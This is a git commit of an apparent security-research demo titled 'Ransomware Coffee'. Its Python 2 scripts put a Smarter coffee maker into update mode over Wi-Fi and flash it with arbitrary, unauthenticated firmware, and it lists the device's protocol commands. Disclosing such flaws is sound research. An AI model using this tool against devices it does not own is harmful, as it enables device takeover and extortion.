SmarterCoffee initial commit

This commit is contained in:
Martin Hron 2020-09-25 09:54:52 +02:00
parent fdd9d5d7d5
commit 6dd178181f
24 changed files with 396 additions and 0 deletions

BIN
SmarterCoffee/._README.md Normal file

Binary file not shown.

Binary file not shown.

6
SmarterCoffee/README.md Normal file
View File

@ -0,0 +1,6 @@
## firmware SHA256 as found in Android application versions
1eff6702b158b1554284f3ef6eb9d05748f43ba353d60954f21c6f20fd71e6ce binaryfile_coffee.3.1.0.bin
650a7bc7a55162988c77df34235c8e87eda9c8e2fcecd72b74c5f69e3edd088c binaryfile_coffee.3.2.1.bin
650a7bc7a55162988c77df34235c8e87eda9c8e2fcecd72b74c5f69e3edd088c binaryfile_coffee.3.2.3.bin
650a7bc7a55162988c77df34235c8e87eda9c8e2fcecd72b74c5f69e3edd088c binaryfile_coffee.3.2.5.bin

View File

@ -0,0 +1,31 @@
MD 0x02 - Device time
CMD 0x05 - Wifi network
CMD 0x07 - Wifi password
CMD 0x0B
CMD 0x0C - Wifi Join
CMD 0x0D - List of visible AP
CMD 0x0F - Wifi Leave
CMD 0x10 - Reset settings
CMD 0x33 - Brew
CMD 0x34 - Coffee stop
CMD 0x35 - Coffee strength
CMD 0x36 - Cups
CMD 0x37 - Brew Default
CMD 0x38 - Coffee store settings
CMD 0x3C - Grinder
CMD 0x3E - Hotplate On
CMD 0x3F
CMD 0x40 - Store Timer
CMD 0x41 - Timers
CMD 0x43 - Disable Timer
CMD 0x46 - Coffee History
CMD 0x48 - Coffee Settings
CMD 0x4A - Hotplate Off
CMD 0x4B - Set Carafe
CMD 0x4C - Carafe
CMD 0x4E - Set mode
CMD 0x4F - Model
CMD 0x64 - Device info - used to check firmware version
CMD 0x69 - Set Wifi Power?
CMD 0x6A - Wifi firmware version
CMD 0x6D - Firmware update sta

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

@ -0,0 +1,38 @@
import yaml
import os
class YamlConfig(object):
def __init__(self, configfile):
self.configfile = configfile
self.__cfg = None
def __open(self):
try:
with open(self.configfile, "r") as inp:
self.__cfg = yaml.load(inp)
return 0
except IOError:
return 1
except yaml.YAMLError,e:
print "YAML error" + str(e)
return 2
# get config value as path to it
def get(self, path, default=None):
if not self.__cfg:
if self.__open() != 0:
assert(False)
components = path.split('/')
r = self.__cfg
for c in components:
if c in r.keys():
r = r[c]
else:
return default
return r

View File

@ -0,0 +1,146 @@
#!/usr/bin/python2.7
import socket,sys,time,logging
class easy_smarter():
def __init__(self, ip='192.168.4.1', port = 2081):
self.ip = ip
self.port = port
self.sock = None
def connect(self):
# create an ipv4 (AF_INET) socket object using the tcp protocol (SOCK_STREAM)
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
self.sock.settimeout(3)
# connect the client
self.sock.connect((self.ip, self.port))
self.sock.settimeout(.5) # 5 seconds. Set this after connecting.
return True
except Exception,e:
logging.warning("Could not connect %s" %(str(e)))
return False
def read_data(self):
resp = bytearray()
timeout = 10
while True:
try:
response = self.sock.recv(4096)
resp.extend(bytearray(response))
if resp[len(resp)-1]==0x7E:
return resp
except socket.timeout as exc:
logging.warning('timed out waiting for data')
timeout -=1
if timeout<=0:
return bytearray()
def send_command(self, indata, waitforresponse = True):
self.sock.send(bytearray(indata))
if waitforresponse:
return self.read_data()
else:
return bytearray()
def upload_firmware(self, filename, display = sys.stdout.write):
fw = None
total =0
try:
# try to open firmware file
fw = open(filename,"rb")
fw.seek(0,2)
total = fw.tell()/256
if (fw.tell()%256)>0:
total+=1
fw.seek(0)
except Exception, e:
logging.error("Could not load firmware from file %s ", str(e))
return False
display ("> Sending lead-in packet\n")
self.send_command([0x6E, 0x7E], True)
crc = 0
block =0
result=0
display ("> Starting update of %d blocks 256 bytes each\n" %(total))
# read chunks of 256 bytes and construct a packet
while True:
retry = 5
chunk = bytearray(fw.read(256))
if not chunk:
break
#chunks are always of size of 256
chunk.extend( bytearray([0]*(256-len(chunk))) )
# now for each chunk compute 'CRC'
for i in range(256):
crc = (crc + chunk[i]) % 0xFFFFFFFF
# retry loop
while True:
size = len(chunk)
packet = bytearray()
packet.extend(bytearray([0x6f, block+1, (size>>8) & 0xff, (size) & 0xff, 0x7d]))
packet.extend(chunk)
packet.extend(bytearray([0x7e,0x7e,0x7e]))
res = self.send_command(packet)
# respond packet should always end like this
result = 0
if len(res)==3 and res[2]==0x7E:
major = res[0]
if major==3:
result = res[1]
else:
result = res[0]<<4 & res[1]
if result!=1:
retry-=1
if retry>0:
time.sleep(1)
continue
display("\nError writing page no. %d\n" % (block+1))
break
#
if block%4==0 and result==1:
display(".")
if result==1:
break
#sys.stdout.write("sending page %d of %d " %(block+1, total))
if result!=1:
break
block +=1
print "\n"
if result==1:
time.sleep(1)
# sending CRC and closing block
res = self.send_command([0x70, (crc>>24) & 0xFF, (crc>>16) & 0xFF,(crc>>8) & 0xFF, crc & 0xFF, 0x7E], True)
if len(res)==3 and res[2]==0x7E:
major = res[0]
if major==3:
result = res[1]
else:
result = res[0]<<4 & res[1]
if result==1:
display("\nUpdate complete!\n")
else:
display ("\nError finishing firmware %d.\n" % (result))
else:
display ("\nError writing firmware %d.\n" %(result))
return result
def disconnect(self):
self.sock.close()

Binary file not shown.

View File

@ -0,0 +1,4 @@
coffeemaker:
id: "5b"
normalssid: "Smarter Coffee"
updatessid: "Smarter Coffee Update"

Binary file not shown.

Binary file not shown.

View File

@ -0,0 +1,3 @@
progressbar2
console-menu
pyaml

168
SmarterCoffee/extras/run.py Normal file
View File

@ -0,0 +1,168 @@
# Smarter Coffe Maker firmware updater
# Brought to you by @thinkcz
# Import the necessary packages
import subprocess
import os
import sys
import site
from consolemenu import *
from consolemenu.items import *
cfg = None
menu = None
COFFEEMAKERID = "5b" #5b
WIFI_INTERFACE = "en0"
FIRMWARE = "data/firmware.bin"
NORMALSSID = "Smarter Coffee:" + COFFEEMAKERID
UPDATESSID = "Smarter Coffee Update:" + COFFEEMAKERID
def update_wifi_info(mn):
mn.prologue_text = "Actual WiFi connected: [%s]" % (get_current_ssid())
# needs to be updated according platform (this is OSX implementation)
def get_current_ssid():
res = subprocess.check_output(['networksetup', '-getairportnetwork', WIFI_INTERFACE]).strip()
if res == "" or res == None:
return ""
else:
return res[res.find(':') + 1:].strip()
# needs to be updated according platform (this is OSX implementation)
def change_ssid(ssid):
if (get_current_ssid() == ssid):
return True
res = subprocess.check_output(['networksetup', '-setairportnetwork', WIFI_INTERFACE , ssid]).strip()
if res == "" or res == None:
return True
else:
return False
def change_ssid_tries(ssid, x):
sys.stdout.write("Trying to change to the wireless network [ %s ]" % (ssid))
for i in range(x):
sys.stdout.write(".")
if change_ssid(ssid):
sys.stdout.write("\n")
update_wifi_info(menu)
return True
sys.stdout.write("\n")
return False
def stage1():
if not change_ssid_tries(NORMALSSID, 10):
print FAIL + "Can't connect to [ %s ]! Enter to continue" % (NORMALSSID) + ENDC
raw_input()
return ""
print "Starting update mode, there will be no return code!"
es = easy_smarter()
for tries in range(10):
if es.connect():
es.send_command([0x6D, 0x7E])
print "Done, check coffee machine and connect to update network, press Enter to continue."
es.disconnect()
raw_input()
return ""
time.sleep(1)
print "Could not connect to Coffee maker. Enter to continue"
raw_input()
return ""
def stage2():
if not change_ssid_tries(UPDATESSID, 10):
print FAIL + "Can't connect to [ %s ]! Enter to continue" % (UPDATESSID) + ENDC
raw_input()
return ""
print "Starting update mode, upload firmware."
es = easy_smarter()
for tries in range(10):
if es.connect():
es.disconnect()
break
time.sleep(1)
es = easy_smarter()
if es.connect():
es.upload_firmware(FIRMWARE)
print "Done, check coffee machine and re-connect to normal network, press Enter to continue."
es.disconnect()
else:
print "Could not connect to Coffee maker. Enter to continue"
raw_input()
return ""
#-------------------------------- main ------------------------------
if __name__ == "__main__":
# Create the menu
menu = ConsoleMenu("Ransomware Coffee", "demo by THiNK of AwesomeBlue")
# get absoluthe path of script
scriptpath = os.path.dirname(os.path.abspath(__file__))
# root for imports
site.addsitedir(os.path.join(scriptpath, 'bin'))
# import
from config import *
# try to open main config
print os.path.join(scriptpath, 'cfg', 'config.yaml')
cfg = YamlConfig(os.path.join(scriptpath, 'cfg', 'config.yaml'))
# load config
#
#
#
COFFEEMAKERID = cfg.get("coffeemaker/id",COFFEEMAKERID)
WIFI_INTERFACE = cfg.get("server/wifiinterface",WIFI_INTERFACE)
FIRMWARE = cfg.get("coffeemaker/firmware",FIRMWARE)
NORMALSSID = cfg.get("coffeemaker/normalssid", NORMALSSID ) + ":" +COFFEEMAKERID
UPDATESSID = cfg.get("coffeemaker/updatessid", UPDATESSID ) + ":" +COFFEEMAKERID
# override config value if file being specified on command line
if len(sys.argv)==2:
FIRMWARE = sys.argv[1]
update_wifi_info(menu)
# Create some items
# A FunctionItem runs a Python function when selected
item1 = FunctionItem("Stage: turn maker into update mode", stage1)
# A CommandItem runs a console command
item2 = FunctionItem("Stage: upload firmware", stage2)
menu.append_item(item1)
menu.append_item(item2)
# get absoluthe path of script
scriptpath = os.path.dirname(os.path.abspath(__file__))
# root for imports
site.addsitedir(os.path.join(scriptpath, 'src'))
# lazy imports
from easy_smarter import *
# Finally, we call show to show the menu and allow the user to interact
menu.show()

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.